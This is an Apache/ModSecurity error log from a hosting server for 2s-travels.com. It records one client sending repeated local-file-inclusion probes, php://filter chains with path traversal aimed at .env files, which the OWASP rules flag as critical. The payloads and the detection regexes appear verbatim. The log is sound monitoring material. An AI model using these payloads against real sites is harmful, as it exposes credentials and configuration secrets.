[Fri Jul 17 08:55:11.675241 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iQAAABA"]
[Fri Jul 17 08:55:11.676278 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8iQAAABA"]
[Fri Jul 17 08:55:11.676428 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.676762 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8iQAAABA"]
[Fri Jul 17 08:55:11.680517 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&dir=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&sid=fbYetFfzMjwwhbXxA6RmmeiX2nl7Gm0zT2rjBtr5g3LUoDJa1mAa-5E_wM-z5hghH_DeiDYXfmAa6JRiz0ZZdDiR5-O96jRzXZ52rvDwTseIzXPHDlLU4T8KHzF-TeWiZNeK9qBTUSB0ePsWiQCGW3MUuBrXbVx7wPOyEBwZE1rDbhh6tBhFoMNGzdFGAIsBWlL2pynTWXwG5jtMRu2yAD46m9vH0tGhZGm0CTXHFfcFXgfN98vtG4ut7fGBEe4EhZKIo7Fs3t5188JnXdDEGOzt&token=JJFRJZQFTZEJHXXC22ZHHURS2PBE2J5GV4BP2QCFVHCEMT..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSgAAAAY"]
[Fri Jul 17 08:55:11.680569 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSgAAAAY"]
[Fri Jul 17 08:55:11.680653 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&sid=fbYetFfzMjwwhbXxA6RmmeiX2nl7Gm0zT2rjBtr5g3LUoDJa1mAa-5E_wM-z5hghH_DeiDYXfmAa6JRiz0ZZdDiR5-O96jRzXZ52rvDwTseIzXPHDlLU4T8KHzF-TeWiZNeK9qBTUSB0ePsWiQCGW3MUuBrXbVx7wPOyEBwZE1rDbhh6tBhFoMNGzdFGAIsBWlL2pynTWXwG5jtMRu2yAD46m9vH0tGhZGm0CTXHFfcFXgfN98vtG4ut7fGBEe4EhZKIo7Fs3t5188JnXdDEGOzt&token=JJFRJZQFTZEJHXXC22ZHHURS2PBE2J5GV4BP2QCFVHCEMTHR7CRVG4F7XNS6H3A7UFY3XFS7MM..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSgAAAAY"]
[Fri Jul 17 08:55:11.680701 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&sid=fbyetffzmjwwhbxxa6rmmeix2nl7gm0zt2rjbtr5g3luodja1maa-5e_wm-z5hghh_deidyxfmaa6jriz0zzddir5-o96jrzxz52rvdwtseizxphdllu4t8khzf-tewiznek9qbtusb0epswiqcgw3muubrxbvx7wpoyebwze1rdbhh6tbhfomngzdfgaisbwll2pyntwxwg5jtmru2yad46m9vh0tghzgm0ctxhffcfxgfn98vtg4ut7fgbee4ehzkio7fs3t5188jnxddegozt&token=jjfrjzqftzejhxxc22zhhurs2pbe2j5gv4bp2qcfvhcemthr7crvg4f7xns6h3a7ufy3xfs7mm..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSgAAAAY"]
[Fri Jul 17 08:55:11.680736 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSgAAAAY"]
[Fri Jul 17 08:55:11.680766 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSgAAAAY"]
[Fri Jul 17 08:55:11.681112 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSgAAAAY"]
[Fri Jul 17 08:55:11.682172 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSgAAAAY"]
[Fri Jul 17 08:55:11.682331 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.682659 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBSgAAAAY"]
[Fri Jul 17 08:55:11.696103 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdgAAAB4"]
[Fri Jul 17 08:55:11.697197 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSdgAAAB4"]
[Fri Jul 17 08:55:11.697348 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.697686 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSdgAAAB4"]
[Fri Jul 17 08:55:11.700240 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&dir=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&junk=5ebGklMYI_522knNEpcH7ZflpQxI_Hcw5jllpHW5sMQ1P6WLPq7vMFvWrBwxvYQpiEeAbUTyXb5cLRCNqNZnkQwd90bnzuyP2bBSzYgeLUnkHaujK1bIryhEBBEETarZVTwntLfagiQGBCBEdfRU-lDsspz2DrWtoR5wM3NjR-lfB70YjwCA_tGSow7Z3HIOMtcBu6duCPUrpB9lTUWV7hNDUNY5iRc_Pelve-BhiURedjvcPosNBXNIXD3Wf5su5ufaMoTearPaZGvyiJcU6QVr&debug=MYL6MLMJPAZCZSPYZEPANCRWDASY7XU5HGVXWIXMXTNARCCAB..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zwAAAAw"]
[Fri Jul 17 08:55:11.700286 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zwAAAAw"]
[Fri Jul 17 08:55:11.700331 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&junk=5ebGklMYI_522knNEpcH7ZflpQxI_Hcw5jllpHW5sMQ1P6WLPq7vMFvWrBwxvYQpiEeAbUTyXb5cLRCNqNZnkQwd90bnzuyP2bBSzYgeLUnkHaujK1bIryhEBBEETarZVTwntLfagiQGBCBEdfRU-lDsspz2DrWtoR5wM3NjR-lfB70YjwCA_tGSow7Z3HIOMtcBu6duCPUrpB9lTUWV7hNDUNY5iRc_Pelve-BhiURedjvcPosNBXNIXD3Wf5su5ufaMoTearPaZGvyiJcU6QVr&debug=MYL6MLMJPAZCZSPYZEPANCRWDASY7XU5HGVXWIXMXTNARCCABANNHT4BFUQVCGQILPUKIXH2MFK..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zwAAAAw"]
[Fri Jul 17 08:55:11.700368 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&junk=5ebgklmyi_522knnepch7zflpqxi_hcw5jllphw5smq1p6wlpq7vmfvwrbwxvyqpieeabutyxb5clrcnqnznkqwd90bnzuyp2bbszygelunkhaujk1biryhebbeetarzvtwntlfagiqgbcbedfru-ldsspz2drwtor5wm3njr-lfb70yjwca_tgsow7z3hiomtcbu6ducpurpb9ltuwv7hnduny5irc_pelve-bhiuredjvcposnbxnixd3wf5su5ufamotearpazgvyijcu6qvr&debug=myl6mlmjpazczspyzepancrwdasy7xu5hgvxwixmxtnarccabannht4bfuqvcgqilpukixh2mfk..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zwAAAAw"]
[Fri Jul 17 08:55:11.700390 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zwAAAAw"]
[Fri Jul 17 08:55:11.700409 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zwAAAAw"]
[Fri Jul 17 08:55:11.700797 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zwAAAAw"]
[Fri Jul 17 08:55:11.701850 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zwAAAAw"]
[Fri Jul 17 08:55:11.702002 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.702305 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95zwAAAAw"]
[Fri Jul 17 08:55:11.705634 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PoQAAABk"]
[Fri Jul 17 08:55:11.706731 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PoQAAABk"]
[Fri Jul 17 08:55:11.706919 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
